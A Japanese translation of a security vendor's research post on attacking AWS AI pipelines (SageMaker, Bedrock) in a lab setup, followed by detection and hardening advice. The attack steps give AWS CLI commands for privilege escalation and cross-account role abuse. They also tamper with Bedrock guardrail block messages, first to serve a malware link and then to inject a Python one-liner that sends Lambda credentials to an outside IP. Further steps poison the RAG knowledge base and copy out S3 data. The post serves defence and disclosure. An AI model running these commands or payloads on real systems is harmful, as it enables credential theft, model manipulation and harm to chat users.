Artificial Intelligence (AI)
狙われる「サービスとしてのAI」 – AWS AIサービスへの攻撃の理解とTrend Vision One™による可視化
本稿では、AIセキュリティに関する新たな視点を提供します。AIのコアモデルが注目されがちですが、AIアプリケーションのセキュリティを確保するためには、それを支えるインフラやクラウドサービスも同様に重要です。特に、AI-as-a-Serviceが普及する中、その重要性はさらに増しています。
- 本稿では、AI-as-a-Service（AIaaS）の急速な成長と、クラウドベースのAIソリューションへの依存度の高まりについて取り上げます。
- また、AIインフラやクラウドサービスを標的とした最近の攻撃事例や、一般的な攻撃手法についても解説します。
- 特に、Amazon SageMakerやBedrockの導入における設定ミスやセキュリティの見落としが、機械学習（ML）パイプラインの脆弱性を生むMLサプライチェーン攻撃について詳しく説明します。
- Trend Vision One™ は、これらの攻撃を検出するための重要な可視性を提供し、AIパイプラインにおけるリスクを軽減するための実用的なインサイトを提供します。
「サービスとしてのAI」AI-as-a-Service（AIaaS）の登場
AI-as-a-Service（AIaaS）とは、クラウドを通じてAIツールや機能を提供するサービスです。これにより、企業は機械学習（ML）、自然言語処理（NLP）、コンピュータビジョンなどのAI技術を自社で開発することなく活用できるようになります。AIaaSは2023年に大きく普及しましたが、その背景には2022年11月にOpenAIがChatGPTを発表したことが挙げられます。AWS、Microsoft Azure、Google CloudといったAIaaSプロバイダーを利用することで、開発者はビジネスニーズに応じたAIアプリケーションを迅速に構築、展開、スケールすることが可能になりました。
一方で、AIの普及が進むにつれて、新たなセキュリティリスクも生じています。AIソリューションは多くの場合、学習やカスタマイズのために大量のデータを必要としますが、多くの推論における用途ではAIaaSプロバイダーが直接データにアクセスすることはありません。しかし、設定ミスや安全でない導入が原因で、企業はサードパーティリスク、データ漏洩、モデルの改ざんといった脅威にさらされる可能性があります。データのアクセス、転送、保存のセキュリティを確保することは不可欠であり、攻撃者はAIサービスの脆弱性を悪用し、不正なデータを注入したり、AIの出力を操作したり、モデル抽出攻撃を仕掛けることができます。本稿では、いくつかの攻撃事例と主なインシデントを紹介し、AIのセキュリティ確保が新たなビジネス要件となっている現状について解説します。
AIが標的に：過去のインシデントと報告を振り返る
人工知能（AI）への依存が高まるにつれ、AIはサイバー攻撃の主要な標的となり、セキュリティ上の脆弱性やインシデントへの懸念が広がっています。このセクションでは、これまでに発生した主なインシデントや報告を紹介し、進化する脅威の状況を明らかにするとともに、AIアプリケーションにおける強固なセキュリティ対策の重要性を強調します。
- 増加するサイバー攻撃
- 組織が抱える課題
- Microsoftの調査によると、28の組織のうち25が、機械学習システムを保護するための適切なツールを見つけるのに苦労していると報告されています。
- 設定ミスとデータ漏えいのリスク
- セキュリティ企業Orca Securityの2024年のクラウドセキュリティレポートによると、Amazon SageMakerを利用する組織の82%が、少なくとも1つのノートブックをインターネットに公開しており、サイバー攻撃のリスクを高めています。
- また、同社の別の調査では、組織の54%が個人を特定できる情報（PII）を保存しており、21%がインターネットに公開されたS3バケット内に機密データを含んでいることが判明しました。
- 増加する脆弱性
- JFrogの研究によると、さまざまなMLベンダーに影響を与える20件以上の脆弱性が明らかになっており、AIシステムにおけるセキュリティの脆弱性が増加していることが示されています。
AIサービスとパイプラインにおける一般的な攻撃手法
クラウドベースの機械学習（ML）パイプラインは強力なツールですが、その一方で、MLモデルやデータの完全性、機密性、可用性を脅かすさまざまな攻撃手法に対して脆弱です。データポイズニング、モデル回避、サプライチェーン攻撃など、AIシステムの信頼性とセキュリティに重大なリスクをもたらす脅威が存在します。ここでは、主要な攻撃手法と標的について説明します。
主要な攻撃経路
1. 不適切なコーディングプラクティス
不適切なコーディングによって脆弱性が生じ、攻撃者がMLモデルや機密データを悪用する可能性があります。APIキーやパスワードのハードコーディング、不十分なエラーハンドリング、安全なコーディング基準の未遵守などがよく見られる問題です。また、サードパーティ製ライブラリや未検証のモデルを使用すると、セキュリティリスクが高まります。例えば、研究によりHugging Face上の約100件のMLモデルが、攻撃者による悪意あるコードの注入を許す可能性があることが判明し、より強固なセキュリティ対策の必要性が浮き彫りになりました。
2. AIによるコード生成への過度な依存
生成AIは開発サイクルを加速させる一方で、適切なレビューやテストを行わなければ、セキュリティ上の欠陥を生む可能性があります。例えば、セキュリティ企業Invictiの研究者は、GitHubのAIによるコード提案ツールがSQLインジェクションやクロスサイトスクリプティング（XSS）などの脆弱性を含むコードを推奨する事例を報告しています。また、スタンフォード大学の研究では、AIを活用したコード開発の方がかえって脆弱性が多くなる傾向があることが明らかになっています。
3. クラウドプラットフォームの設定ミス
クラウド環境の設定ミスは重大なセキュリティリスクをもたらし、機密データやAIプロセスへの不正アクセスを許してしまう可能性があります。代表的なミスとして、ストレージの保護が不十分であったり、適切なアクセス制御が設定されていなかったりすることが挙げられます。
4. AI特有のライブラリにおける脆弱性
AI関連のライブラリには、悪用されるとAIモデルやデータの完全性を損なう脆弱性が含まれていることがあります。例えば、CVE-2024-34359（通称「Llama drama」）は、Llama-cpp-Pythonパッケージの重大な脆弱性であり、不適切な入力検証のためにリモートコード実行が可能となります。この脆弱性が放置された場合、サプライチェーン攻撃のリスクが高まるため、迅速な対応が求められます。
5. クラウドプラットフォーム自体の脆弱性
クラウドインフラの欠陥を悪用することで、AIシステムが標的にされる可能性があります。特に、安全でないAPIや設計上の弱点が狙われやすいです。例えば、2024年初頭に機械学習モデルを簡単にクラウド上で実行・管理できるプラットフォーム「Replicate」のAPIで重大な脆弱性が発見され、攻撃者がモデルデータへ不正にアクセスできる可能性がありました。この問題はWizによって報告され、Replicateは修正を行いましたが、AIプラットフォームにおける強固なセキュリティ対策の必要性を浮き彫りにしました。
主要な標的
1. 開発者
開発者は、重要なコードリポジトリやシステム設定に直接アクセスできるため、攻撃者にとって魅力的な標的です。彼らの業務では、サードパーティのライブラリやオープンソースツールの利用が不可欠ですが、セキュリティ対策が不十分な場合、ハードコーディングされた認証情報や安全でないAPI統合などの脆弱性を生み出す可能性があります。また、フィッシング攻撃などのソーシャルエンジニアリング手法を使って、開発者から機密情報を引き出したり、不正アクセスを試みたりするケースも増えています。
2. データサイエンティスト
データサイエンティストも攻撃者の標的となる可能性が高い職種です。彼らは貴重なデータセットや機械学習モデルにアクセスできるため、攻撃者にとって魅力的なターゲットとなります。例えば、攻撃者が学習データを操作する データポイズニング を仕掛ければ、モデルの予測や意思決定が大きく歪められる恐れがあります。さらに、データサイエンティストはオープンソースライブラリを頻繁に活用するため、そこに潜む脆弱性が悪用されるリスクもあります。データの分析や実験に重点を置くあまり、セキュリティ対策が後回しになりがちな点もリスク要因となります。
OWASP Machine Learning Security Top Ten
「OWASP Machine Learning Security Top Ten」は、機械学習システムに関連する重大なセキュリティリスクをまとめたガイドラインです。データポイズニングやモデルインバージョンといった脆弱性が含まれており、それぞれのリスクについての説明や具体例、最新の事例を提示しています。この情報は、AI技術の開発・導入におけるセキュリティ対策を強化するための重要な指針となります。
表1. OWASP公式サイト による機械学習システムにおける10の重大なセキュリティリスク
詳細はこちらをご覧ください。
主要なAWS AIサービス
Amazon Bedrock
Amazon Bedrock は、生成AIアプリケーションの構築とスケーリングを簡素化するAmazonのフルマネージドサービスです。主要なAIプロバイダーによって開発された強力な基盤モデル（Foundation Models, FM）を幅広く提供し、高度なAIの専門知識を必要とせずに、チャットボットやコンテンツ生成アプリケーションを作成できるようにします。
主要コンポーネント
- ナレッジベース：AIの「記憶」として機能し、検索拡張生成（Retrieval Augment Generation, RAG）技術を使用してデータを検索し、最適な情報を活用して自然な回答を提供します。
- カスタムおよびインポートモデル：特定のビジネスニーズに合わせて設計されたカスタマイズモデルで、微調整が可能です。
- ガードレール：Amazon Bedrockのガードレール（Guardrail）は、大規模言語モデル（LLM）を使用するアプリケーション向けに、カスタマイズ可能な追加の保護機能を提供します。
- 基盤モデル（Foundation Models）：信頼性の高い主要プロバイダーのモデルを基盤として提供し、専門的なニーズに応じたパーソナライズが可能です。
Amazon SageMaker
Amazon SageMaker は、機械学習（ML）モデルの構築、トレーニング、デプロイを簡素化するマネージドサービスです。ノートブック、デバッガー、プロファイラー、パイプライン、MLOpsなどのさまざまなツールを活用できます。
主要コンポーネント
- SageMaker Studio：機械学習モデルの構築、トレーニング、デプロイを行うための統合開発環境（IDE）。
- SageMaker Notebooks：データ探索やモデル開発向けのフルマネージドJupyterノートブック。
- SageMaker Autopilot：MLモデルの自動作成を可能にしつつ、制御と可視性を維持。
- SageMaker Training：スケーラブルで管理されたMLモデルのトレーニング機能。
- SageMaker Endpoints：モデルのデプロイ向けのフルマネージドエンドポイント。リアルタイム推論をサポートし、マルチモデルエンドポイント、オートスケーリング、A/Bテストなどに対応。
AWS AIパイプライン – BedrockとSageMakerの相乗効果
開発者は、Amazon SageMakerを活用して包括的なモデル開発を行い、Amazon Bedrockを利用してシームレスにデプロイすることで、効率的なAIアプリケーションのワークフローを構築できます。SageMakerは、データ準備、モデルのトレーニング、ハイパーパラメータの調整、評価といった機能を備えた強力なツール群を提供します。さまざまなアルゴリズムやフレームワークに対応しており、開発者は特定のニーズに合わせた高品質なモデルを作成できます。モデルのトレーニングが完了した後は、SageMakerのモデルレジストリ（Model Registry） に登録することで、バージョン管理やモデルの追跡が容易になり、チームが最適なモデルを効率的にデプロイできるようになります。
開発者は、Amazon SageMakerで作成した特定のカスタマイズ済み機械学習モデルをAmazon Bedrockにインポートすることも可能であり、シームレスな統合を実現し、AIワークフローを強化できます。Bedrockは、完全に管理された環境を提供し、インフラ管理の複雑さを排除しながらアプリケーションのスケールを容易にします。また、各種プロバイダーが提供する基盤モデル（Foundation Models）にアクセスできるため、SageMakerで作成したモデルと統合しながら、さらなるファインチューニングを行うことも可能です。このように、SageMakerとBedrockの相乗効果により、開発からデプロイまでのワークフローが合理化されるだけでなく、リソースの最適化やコスト削減も実現できます。これにより、開発者は革新的でスケーラブルなAIソリューションを効率的に提供できるようになります。
MLサプライチェーン攻撃 – 1.1
これまで述べたように、現在の機械学習（ML）サプライチェーンやサービスは、主に以下の2つの要因によって脅威にさらされています。
- 不適切なコーディングプラクティス
- AIサービスを提供するクラウドプラットフォームの設定ミス
以下のデモでは、これらのポイントをすべて含むサプライチェーン攻撃を紹介し、安全なMLパイプラインの確立と、CloudTrail などのログを活用した効果的なイベント監視の重要性を強調します。
標的：AWSの生成AI運用インフラ
1. 開発フェーズ（DEV AWSアカウント）
- Amazon SageMaker
- ノートブックインスタンス：2種類のSageMakerノートブックインスタンスを使用
- 開発者用ロール：データサイエンティストが事前学習やモデルの試験を行うために設定。
- データサイエンティスト用ロール：より専門的なタスクに特化。
- 設定ミスのあるインスタンス：開発者が設定時にAWS提供のデフォルト実行ロールを使用し、直接インターネットにアクセスできるよう設定してしまうミスが発生。
- ノートブックインスタンス：2種類のSageMakerノートブックインスタンスを使用
- VPC（仮想プライベートクラウド）
- ノートブックインスタンスはVPC内にホストされ、適切なセキュリティグループ（SG）によりアクセス制御が行われ、安全な環境が確保されています。
- トレーニングデータ
- モデルの事前学習に使用するデータは、安全な場所から取得され、モデルの学習に適したデータセットが確保されています。
2. 本番フェーズ（Production AWSアカウント）
- クロスアカウントロール
- 主要な開発者や管理者がガードレール（Guardrail）の更新権限を持つように設計。
- 微調整されたモデルの各バージョンに対し、ガードレールを適切に調整し、コンプライアンスとパフォーマンスを維持。
- Amazon Bedrock
- カスタムモデル：開発用（Dev）アカウントで開発されたPythonのコード生成モデルが使用され、Bedrockの生成AI機能を活用してDynamoDBをクエリ。各バージョンは内部GitHubを通じて本番環境にプッシュされ、SageMakerノートブックを介して開発者がアクセス可能。
- 会話型モデルエージェント：Bedrockのエージェント機能を活用し、会話型のインタラクションを処理。
- Amazon Bedrock ガードレール
- AIシステムの安全な利用を確保するため、不要な出力や悪影響を防ぐルールを適用。
- Lambdaがガードレールの最新バージョンを自動的に適用し、AIモデルの呼び出しを管理。
- Amazon DynamoDBとS3
- 顧客プロファイリングデータ（DynamoDB）：ユーザのコンテキスト情報を提供し、モデルの精度を向上。
- ナレッジベース（S3）：モデルが参照する情報を保存し、より適切な応答を生成。
- Amazon Bedrock ナレッジベース（RAG）
- ナレッジベース検索と生成AIを組み合わせることで、より正確かつ文脈に即した回答を提供。
3. インタラクションおよびAPIレイヤー
- AWS Lambda
- サーバレスコンピュートサービスとして動作し、パイプライン内の各コンポーネント間の処理やリクエストを管理。ユーザの問い合わせなどのイベントをトリガーにアクションを実行。Bedrockアーキテクチャのビジネスロジックを担う。
- Amazon API Gateway
- 外部アプリケーション（Webアプリなど）とデプロイ済みモデルをつなぐインターフェースを提供。リクエストやレスポンスを管理し、安全で効率的な通信を実現。
4. Webアプリケーション
- ユーザインタラクション
- Webアプリは、ユーザがモデルと対話するためのフロントエンドインターフェース。ユーザが問い合わせを送信し、応答を受け取ることで、円滑なユーザ体験を提供。
以下に示す攻撃シナリオは、AWSチームによって慎重にレビュー済み です。AWSと協議の結果、Amazon BedrockやSageMakerに固有の脆弱性はない ことが確認されました。AWSは強力なセキュリティ機能を提供しており、適切に設定されていれば、このようなリスクを軽減できます（詳細は後述）。このシナリオは、AI環境で開発者が犯しがちな設定ミス を例示し、それらがセキュリティ上どのような影響を及ぼすかを理解するためにカスタム設計されたものです。
攻撃
ステップ1 - SageMakerノートブックインスタンスの乗っ取り（悪意のある拡張機能のダウンロード）（AML.T0010.001 - 機械学習サプライチェーンの侵害：MLソフトウェア）
Amazon SageMakerは、AWS上のAIパイプラインへの攻撃の起点となる可能性が高いサービスです。実際、セキュリティ企業Orca Security の2024年のクラウドセキュリティレポートによると、SageMakerを使用する組織の82%が、少なくとも1つのノートブックをインターネットに公開していることが明らかになっています。攻撃者はこの脆弱性を利用し、悪意のある拡張機能を公開リポジトリに配置します。開発者がこれをサードパーティの拡張機能としてダウンロードすることで、攻撃が成立します。図に示されているように、開発環境のAWSアカウント内でホストされているノートブックの1つが、インターネットへの直接アクセスを許可する設定になっていることが確認できます。この環境では、開発者が頻繁に外部のサードパーティ製拡張機能を利用しており、攻撃者が悪意のあるペイロードをノートブックに送り込むことが容易になっています。Jupyterノートブックでは、このリスクが明確に示されています。
図5のように、攻撃者は悪意のあるパッケージをホストするために公開リポジトリを作成することができます。この手法は過去にも報告されており、Unit42のPyPIに関するレポートでも同様の攻撃が確認されています。攻撃の影響を示すために、悪意のあるPythonパッケージを作成しました。このパッケージがAmazon SageMaker ノートブックにインストールされ、特定の関数が実行されると、バックドアが開かれ、攻撃者へのリバースシェル接続が確立されます。
開発者が悪意のあるプラグインをインストールし、その機能を実行すると、攻撃者はリバースシェルを獲得します。
このノートブックはインターネットに直接接続可能であり、適切なセキュリティグループが設定されていないため、攻撃者が任意のポートでリバースシェル接続を確立することが容易になります。その結果、攻撃者はノートブックインスタンス上でリモートから任意のコマンドを実行できるようになり、インスタンスがアクセスできるデータや設定が危険にさらされる可能性があります。
ステップ2 - SageMaker ノートブックインスタンスの列挙（AML.T0007 - 機械学習アーティファクトの探索）
リバースシェルが確立されると、攻撃者はシステムコマンドを実行し、AWSのサービスを列挙（スキャン）し、新たなリソースを作成することが可能になります。
環境を確認することで、攻撃者はSageMaker ノートブックの完全な制御を獲得したことを認識し、権限の列挙を開始できます。
攻撃者は、SageMakerやIAM（Identity and Access Management）の権限を列挙するために、以下のようなコマンドを実行します。
Amazon Sagemaker list-notebook-instances Amazon Sagemaker list-code-repositories aws list-training-jobs aws list-endpoints aws describe-code-repository --code-repository-name aws iam list-roles aws iam list-users aws iam list-groups aws iam list-attached-role-policies –role-arn aws iam get-role –role-arn
列挙が完了すると、攻撃者はトレーニングデータ、機械学習モデル、および本番環境への更新を行う内部GitHubリンクへのアクセスも可能になります。これにより、攻撃者は事前学習データやモデルを改ざんし、不正なデータを本番環境にプッシュすることができます。このモデル／トレーニングデータの汚染（ポイズニング）による攻撃手法については、次回のブログシリーズで詳しく解説します。
ステップ3 - SageMaker ノートブックの実行ロールを利用した特権昇格（AML.T0049 - 公開アプリケーションの悪用）
権限の列挙を行った結果、攻撃者は侵害されたノートブックインスタンスに3つの重要な権限が付与されていることを発見します。
- sagemaker:CreateNotebookInstance（ノートブックインスタンスの作成）
- sagemaker:CreatePresignedNotebookInstanceUrl（ノートブックインスタンスの事前署名付きURLの作成）
- iam:PassRole（IAMロールの引き渡し）
攻撃者は、sagemaker:CreateNotebookInstance の権限を利用して新しいノートブックインスタンスを作成し、その際に 「--role-arn 」パラメータに管理者権限を持つロールを指定します。次に、sagemaker:CreatePresignedNotebookInstanceUrl の権限を使って公開アクセスリンクを生成し、それを通じて管理者権限を取得。最終的には開発用（Dev）アカウント全体を乗っ取る可能性があります。
Amazon SageMaker create-notebook-instance --notebook-instance-name example --instance-type ml.t2.medium --role- arn arn:aws:iam:::role/service-role/
レスポンスには、作成されたインスタンスのARNが含まれる NotebookInstanceArn が含まれています。インスタンスの準備が完了すると、攻撃者は以下の方法でノートブックにアクセスするためのURLを生成します。
Amazon SageMaker create-presigned-notebook-instance-url --notebook-instance-name
ステップ4 - クロスアカウントロールの悪用
この時点で、攻撃者はこのAWSアカウントが開発用（Dev）AWSアカウントであり、本番環境（Production）AWSアカウントと接続されたプロダクションパイプラインの一部である可能性があることを認識しています。そこで、攻撃者は過去のCloudTrailログを調査し、クロスアカウントのロール引き受け（role assumption）の痕跡を探します。そして、リード開発者や管理者によって引き受けられていた、本番AWSアカウントから提供されたクロスアカウントロールのARNを発見します。
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bedrock-productionCheck --role-session-name temp-assume
攻撃者は、このクロスアカウントロールのARNを使用して一時的なSTS（Security Token Service）認証情報を取得し、本番環境のBedrockロール（ガードレール権限を持つロール）へアクセス可能な状態を作り出します。
ステップ5 - ガードレールのブロックメッセージ改ざん（リンクインジェクション）（AML.T0011.000 - ユーザ実行：安全でないMLアーティファクト）
攻撃者は再びロールの権限を列挙し、ListGuardrail（ガードレール一覧表示）、UpdateGuardrail（ガードレール更新）、CreateGuardrailVersion（ガードレールバージョン作成）の権限が付与されていることを発見します。この権限を利用し、Bedrockの会話エージェントに関連付けられているガードレールの設定を改ざんし、新しいバージョンを作成・デプロイします。
AWSではカスタムブロックメッセージ内にすべての特殊文字が使用可能であるため、攻撃者はこれを悪用します。具体的には、アプリケーションのユーザが英語で「What（何）」や「How（どのように）」を含む質問をすると、ガードレールが入力をブロックし、次のメッセージを返すように設定します。
“For information on this please refer our detailed guide – http://malicious-link/malware.pdf”
訳：この件についての詳細は、こちらのガイドをご参照ください – http://＜不正なリンク＞/＜マルウェア＞.pdf
Amazon Bedrock update-guardrail --guardrail-identifier "ltxzqvhcbrj0" --name "Bedrock-Code-Generation-Model- Protection" --blocked-input-messaging "For information on this one, refer our detailed guide - http://malicious- link/malware.pdf" --blocked-outputs-messaging "." --word-policy-config "wordsConfig=[{text=How},{text=What}]"
この手法の影響を示すデモ動画が公開されています。動画では、生成AIアプリケーションでガードレール設定の改ざんを行い、それによってモデルの出力がどのように変化するかを確認できます。
図11. チャットアプリに対する攻撃の影響を示すデモ動画
この手法は、CloudFormationのガードレールスタック（AWS::Bedrock::Guardrail）を改ざんすることでも実行可能です。
また、XSS（クロスサイトスクリプティング）の脆弱性を悪用することもできます。もしユーザが使用するチャットアプリにXSSの欠陥がある場合、それを利用してさらに攻撃を展開することが可能です。
ステップ6 - チャットアプリのユーザが感染（AML.T0048.003 - 外部への被害：ユーザの危害）
チャットアプリの出力をユーザが信用し、提供されたリンクをクリックすると、マルウェアがユーザのデバイスに感染します。
MLサプライチェーン攻撃 – 1.2
前のセクションで述べたように、AWSではブロックメッセージ内のすべての特殊文字が許可されています。この小さな設計上の欠陥は、Bedrock Guardrailのブロックメッセージにコードを注入する攻撃が可能になるため、大きな影響を及ぼす可能性があります。特に、コード生成モデルを直接活用するインフラでは、この問題が深刻化する可能性があります。また、開発者がモデルの出力を無条件に信頼してしまうことがあり（本来はそうすべきではありません）、その結果、モデルの出力を使用する後続のインフラで適切なサニタイズ処理を行わずに利用してしまうことがあります。このコード実行手法によって影響を受ける可能性のあるユースケースは以下のとおりです。
- インフラの自動化: AIモデルがCloudFormationやTerraformのスクリプトを生成し、クラウドリソースのセットアップやスケーリングを自動化する。
- データパイプラインの自動化: AIがSQLクエリやAWS Glueのジョブを生成し、データの抽出、変換、ロード（ETL）を自動化する。
- AIによるコード提案: AIがSageMaker向けの最適化されたコードやMLパイプラインを生成し、データサイエンスのワークフローを自動化する。
- チャットボットのアクション統合: AIがコードを生成し、チャットボットとAWSのバックエンドサービス（例: 注文状況の更新、在庫チェックの実行）を連携させる。
ステップ 5 – ガードレールブロックメッセージの汚染 – コードインジェクション (AML.T0011.000 - ユーザ実行: 安全でない ML アーティファクト)
前の攻撃デモの流れを続けて考えてみます。攻撃者は ListGuardrail と UpdateGuardrail の権限しか持っていない状況でしたが、次の標的としてコード生成モデル向けに設定された別のガードレール設定を狙います。攻撃者は以下の方法でガードレールの設定を改ざんします。
Amazon Bedrock update-guardrail --guardrail-identifier "ltxzqvhcbrj0" --name "Bedrock-Code-Generation-Model-Protection" --blocked-input-messaging "import boto3; import socket; socket.create_connection(('34.229.117.219', 8080)).sendall(str(boto3.Session().get_credentials().get_frozen_credentials().asdict()).encode('utf-8'))" --blocked-outputs-messaging "." --word-policy-config "wordsConfig=[{text=How},{text=What}]"
このブロックメッセージの設定を注意深く確認すると、攻撃者が AWS Lambda の AWS ロールの認証情報を取得しようとしていることがわかります。この Lambda は AWS のプロダクション環境における Bedrock のビジネスロジックを処理する役割を担っています。攻撃の仕組みは次のようになっています。顧客または攻撃者が英語で「how（どのように）」または「what（何）」を含むプロンプトを送信すると、このブロックメッセージが Lambda に送られます。本来、この Lambda はモデルのコード出力を処理するためのものですが、改ざんされた設定により、上記のペイロードが実行され、攻撃者に Lambda ロールの認証情報が渡ってしまいます。これにより、攻撃者は Lambda の持つすべての権限を取得し、Bedrock インフラ全体を掌握することが可能になります。以下の動画では、ガードレール のドラフト版を利用する生成 AI アプリケーションの様子が示されています。
図 13. ガードレール（Guardrail） ドラフト版を使用した生成 AI アプリケーション
この攻撃は、CloudFormation Guardrail スタック (AWS::Bedrock::Guardrail) を汚染することで、さらに悪用される可能性があります。
攻撃者が Lambda ロールの権限を取得した後、できることは多岐にわたります。次に、その具体例を見ていきます。
ステップ 6 – Amazon Bedrock の権限およびサービスの列挙(AML.T0007 - ML アーティファクトの探索)
攻撃者は、Amazon Bedrock 上でどのような権限やリソースへのアクセスが可能かを把握する必要があります。そのため、Bedrock のサービスを列挙し、Bedrock エージェント、ナレッジベース、メモリ設定、データソース、およびアクセス可能なリソース情報を体系的に収集します。この列挙により、機密データの漏えいや、新たな攻撃経路が明らかになる可能性があります。攻撃者は以下のコマンドを実行します。
Amazon Bedrock list-agents Amazon Bedrock get-agent –agent-id Amazon Bedrock list-knowledge-bases Amazon Bedrock get-knowledge-bases --knowledge-base-id Amazon Bedrock list-data-sources Amazon Bedrock get-data-sources
ステップ 7 – Bedrock ナレッジベースの RAG 汚染(AML.T0010.002 - ML サプライチェーンの侵害: データ)
攻撃者は、侵害した Lambda ロールが AWS のナレッジベースのデータソースを更新できる権限を持っていることを突き止めます。この更新は、Bedrock のナレッジベースが常に最新の正確な情報を提供できるようにするために行われています。攻撃者は UpdateDataSource API を利用し、AWS ナレッジベースが管理する RAG (Retrieval-Augmented Generation) パイプラインを改ざんすることが可能です。具体的には、ナレッジベースのデータソースを、攻撃者が管理する S3 バケットに変更することで、情報の汚染を試みます。
攻撃者が細工したデータを自身の管理する S3 バケットにホストすることで、ナレッジベースのモデルの応答が改変され、誤情報の拡散、業務の混乱、意思決定の妨害といった重大な影響を引き起こす可能性があります。
AWS CLI コマンド:
Amazon Bedrock-agent update-data-source --name --knowledge-base-id --data-source-id --data-source-configuration "s3Configuration={bucketArn=arn:aws:s3:::attacker-controlled-s3,bucketOwnerAccountId=},type=S3"
ステップ 8 – 機密モデル推論データの流出(AML.T0025 - サイバー手段による流出)
最後に、攻撃者は Lambda ロールの認証情報を使用し、Bedrock モデルが推論に利用する本番環境の S3 バケットから機密データを流出させます。このバケットには、モデルの運用に不可欠なデータが含まれており、ユーザの入力情報や機密性の高い独自データも保存されています。このバケットが侵害されることで、機密情報が漏えいし、個人情報の盗難や詐欺のリスクが生じるほか、組織のシステムがさらなる攻撃の標的となる可能性があります。
AWS CLI コマンド:
aws s3 sync s3://bucket-name
Trend Vision One のワークベンチによる攻撃の可視化
Trend Vision One は、エンタープライズ向けのサイバーセキュリティプラットフォームであり、複数のセキュリティ機能を統合することで、セキュリティの簡素化を実現し、脅威の検出と対応を迅速化します。このクラウドベースのプラットフォームは、企業の攻撃対象領域を包括的に把握し、サイバーリスクの状況を完全に可視化することで、より高いレベルのセキュリティ管理を可能にします。また、Trend Vision One は、AI や世界16か所の脅威リサーチセンター、そして 2億5,000万台のセンサーから得られる脅威インテリジェンスを活用し、リスクの包括的な把握、早期の脅威検出、そしてリスクや脅威への自動対応を単一のソリューションで提供します。
さらに、Trend Vision One は CloudTrail ログを取り込み、AWS アカウント内で発生する重要かつ疑わしいイベントを監視します。以下は、上記の攻撃チェーンの実行時に検知されるイベントの一覧です。
詳細はこちらをご覧ください。
AWSにおけるMLパイプラインのセキュリティ対策ベストプラクティス
企業がAWS上のMLパイプラインを安全に運用できるよう、以下の推奨事項を提供します。
1. 最小権限の原則を適用する
- IAMロールやポリシーを最小権限の原則に基づいて設計し、MLパイプラインのユーザ、ロール、サービスが必要最小限の権限のみを持つようにする。
- Amazon Bedrock: サービスロールの権限が過剰にならないように管理し、IAMアイデンティティの権限境界を設定する。定期的にロールポリシーを見直し、不要なアクセスを制限する。
- Bedrockエージェント: サービスロールを監査し、アクティブなロールを特定。ジョブのセキュリティグループを適切に設定し、アクセス制御を強化する。
- Amazon SageMaker: ノートブックインスタンスが適切な実行ロールを参照していることを確認し、権限境界を適用して特権の昇格を防ぐ。
2. SageMakerとBedrockのAWS標準セキュリティ機能を活用する
- SageMakerやBedrockが提供する追加のセキュリティ機能を有効化・設定する：
- 暗号化: AWS KMSのカスタマーマネージドキー（CMK）を使用して、以下のデータを暗号化する：Bedrockのガードレール設定、SageMakerノートブックのデータ、カスタムモデルやナレッジベースのデータ
- VPCおよびネットワークの分離: SageMakerやBedrockのジョブをVPC内で実行し、ネットワーク分離を強化する。SageMakerではVPC専用モードとネットワーク分離を有効化し、インターネット経由のアクセスを制限する。
- Bedrockのガードレール: 機密情報のフィルタリングやプロンプト攻撃の強度設定を適切に管理し、プロンプトインジェクション攻撃を防ぐ。各バージョンの管理を徹底し、本番環境に適用する前に十分な監視を行う。
3. MLのセキュアコーディングを実践する
- MLコードのセキュリティを強化するために、以下のベストプラクティスを採用する：
- モデル出力のサニタイズ: モデルの出力が機密情報を含まないよう適切にフィルタリングする。個人識別情報（PII）や機密データの漏洩を防ぐため、Bedrockのガードレールを活用する。
- 敵対的攻撃への耐性: データ汚染攻撃などの敵対的攻撃を検知するため、堅牢なテストフレームワークを導入する。
- バージョン管理: データ、モデル、パイプライン構成を明確に管理し、問題発生時にすぐにロールバックできるようにする。
- サードパーティ製の拡張機能やライブラリに注意: MLパイプライン内で使用するサードパーティ製ライブラリを適切に精査し、最新の状態に保つ。自動セキュリティスキャンや依存関係チェックを活用し、脆弱性を防ぐ。
- コード生成モデルによるコードの実行をサンドボックス化: 生成されたコードを本番環境で実行する前に、サンドボックス環境でテストを行う。
4. MLオペレーションの監視を強化する
- MLパイプラインの全体的な活動を監視するために、包括的なモニタリングを設定する：
- AWS CloudTrailとCloudWatchを活用: SageMakerとBedrockの操作を監視する。モデルの呼び出しログを有効化し、どのようにモデルが利用されているかを記録する。
- Amazon CloudWatchのメトリクスとアラームを設定: 異常検知を自動化する。MLパイプラインで発生する異常な動作やパフォーマンスの問題を即座に検出し、通知を受け取る。
5. 説明可能なAI（XAI）の導入
- 説明可能なAI（XAI）技術を活用し、モデルの意思決定プロセスを可視化することで、セキュリティを強化する。
- モデル改ざんの検知: XAIを活用して、モデルの挙動の変化を検出し、不正な改ざんや敵対的操作を特定する。
- バイアスの監視: 訓練データや外部からの攻撃によって発生したバイアスを継続的に監視し、迅速に修正する。
参考記事：
AI in/ the Crosshairs - Understanding and Detecting Attacks on AWS AI Services with Trend Vision One™
By Yash Verma and Sunil Bharti
翻訳：与那城 務（Platform Marketing, Trend Micro™ Research）